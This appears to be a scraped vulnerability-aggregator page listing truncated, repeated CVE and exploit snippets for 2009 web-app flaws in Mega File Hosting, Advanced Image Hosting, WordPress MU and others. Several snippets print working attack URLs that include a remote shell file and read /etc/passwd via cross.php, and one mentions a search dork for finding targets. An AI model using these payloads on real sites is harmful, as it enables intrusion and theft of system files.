CVE-2009-0966

PHP remote file inclusion vulnerability in cross.php in YABSoft Mega File Hosting 1.2 allows remote attackers to execute arbitrary PHP code via a URL in the url parameter. NOTE: this can also be leveraged to include and execute arbitrary local files via .. dot dot sequences...

Remote file inclusion

PHP remote file inclusion vulnerability in cross.php in YABSoft Mega File Hosting 1.2 allows remote attackers to execute arbitrary PHP code via a URL in the url parameter. NOTE: this can also be leveraged to include and execute arbitrary local files via .. dot dot sequences...

CVE-2009-0966

PHP remote file inclusion vulnerability in cross.php in YABSoft Mega File Hosting 1.2 allows remote attackers to execute arbitrary PHP code via a URL in the url parameter. NOTE: this can also be leveraged to include and execute arbitrary local files via .. dot dot sequences...

CVE-2009-0966

Affected product/variant: YABSoft Mega File Hosting 1.2 (cross.php). Vulnerability: PHP remote file inclusion via the url parameter in cross.php, enabling execution of arbitrary PHP code. NOTE: can also include and execute arbitrary local files using .. sequences. Impact (as documented): arbitrar...

Mega File Hosting Script 1.2 (cross.php url) RFI Vulnerability

No description provided by source. Mega File Hosting || Remote/Local File inclusion For All Version Just addition This Exploit and enjoy /cross.php?url=http://site.com/sh3ll.txt /cross.php?url=../../../.../../../../../etc/passwd%00 Author Garry /// 25/02/2009 Www.Hacking.ge...

Advanced Image Hosting 2.3 SQL Injection

Advanced Image Hosting AIH Remote Blind SQL Injection Author : boom3rang Greetz : H!tm@N, KHG, chs, redc00de Vulnerability : Blind SQL injection Google Dork : Powered by: AIH v2.3 -------------------------------------------------- ! Product Name : Advanced Image Hosting ! Product Site :...

Mega File Hosting Script 1.2 RFI / LFI

Mega File Hosting || Remote/Local File inclusion For All Version Just addition This Exploit and enjoy /cross.php?url=http://site.com/sh3ll.txt /cross.php?url=../../../.../../../../../etc/passwd%00 Author Garry /// 25/02/2009 Www.Hacking.ge...

Advanced Image Hosting (AIH) 2.3 - gal Blind SQL Injection

Advanced Image Hosting AIH 2.3 - gal Blind SQL Injection Advanced Image Hosting AIH Remote Blind SQL Injection Author : boom3rang Greetz : H!tm@N, KHG, chs, redc00de Vulnerability : Blind SQL injection Google Dork : Powered by: AIH v2.3 -------------------------------------------------- ! Product...

Advanced Image Hosting (AIH) 2.3 - 'gal' Blind SQL Injection

Advanced Image Hosting AIH Remote Blind SQL Injection Author : boom3rang Greetz : H!tm@N, KHG, chs, redc00de Vulnerability : Blind SQL injection Google Dork : Powered by: AIH v2.3 -------------------------------------------------- ! Product Name : Advanced Image Hosting ! Product Site :...

Advanced Image Hosting (AIH) 2.3 (gal) Blind SQL Injection Vuln

Exploit for unknown platform in category web applications =============================================================== Advanced Image Hosting AIH 2.3 gal Blind SQL Injection Vuln =============================================================== Advanced Image Hosting AIH Remote Blind SQL Injecti...

Mega File Hosting Script 1.2 (cross.php url) RFI Vulnerability

Exploit for unknown platform in category web applications ============================================================== Mega File Hosting Script 1.2 cross.php url RFI Vulnerability ============================================================== Mega File Hosting || Remote/Local File inclusion For...

Mega File Hosting Script 1.2 - 'url' Remote File Inclusion

Mega File Hosting || Remote/Local File inclusion For All Version Just addition This Exploit and enjoy /cross.php?url=http://site.com/sh3ll.txt /cross.php?url=../../../.../../../../../etc/passwd%00 Author Garry /// 25/02/2009 Www.Hacking.ge milw0rm.com 2009-03-17...

Mega File Hosting Script 1.2 - url Remote File Inclusion

Mega File Hosting Script 1.2 - url Remote File Inclusion Mega File Hosting || Remote/Local File inclusion For All Version Just addition This Exploit and enjoy /cross.php?url=http://site.com/sh3ll.txt /cross.php?url=../../../.../../../../../etc/passwd%00 Author Garry /// 25/02/2009 Www.Hacking.ge...

Wordpress MU < 2.7 'HOST' HTTP Header XSS Vulnerability

No description provided by source. ============================================= INTERNET SECURITY AUDITORS ALERT 2009-004 - Original release date: December 3rd, 2008 - Last revised: March 10th, 2009 - Discovered by: Juan Galiana Lara - Severity: 6.3/10 CVSS scored...

Unfixed XSS vulnerability at webdealhosting.com

Security researcher Xylitol, has submitted on 03/10/2009 a cross-site-scripting XSS vulnerability affecting webdealhosting.com, which at the time of submission ranked 1005888 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 28/11/2011. It is...

WordPress MU <= 2.7 - 'HOST' HTTP Header XSS Vulnerability

WordPress MU prior to version 2.7 fails to sanitize the Host header correctly in chooseprimaryblog function and can be hacked. Sites running in based virtual hosting setup are not affected while they are not the default virtual host. Solution Upgrade WordPress...

DSA-1730-1 proftpd-dfsg - SQL injection vulnerabilites

Bulletin has no description...

admagnet.net SQL Injection

==================================================================== Website: http://admagnet.net/ Category: Central Advertise Hosting Vulnerability: Inband SQL Injection Founder: Jaydeep Dave [email protected] Date: 16th Feb, 2009...

Sql injection

SQL injection vulnerability in directory.php in Prozilla Hosting Index allows remote attackers to execute arbitrary SQL commands via the id parameter in a deadlink action, a different vector than CVE-2008-2083...

CVE-2008-6115

SQL injection vulnerability in directory.php in Prozilla Hosting Index allows remote attackers to execute arbitrary SQL commands via the id parameter in a deadlink action, a different vector than CVE-2008-2083...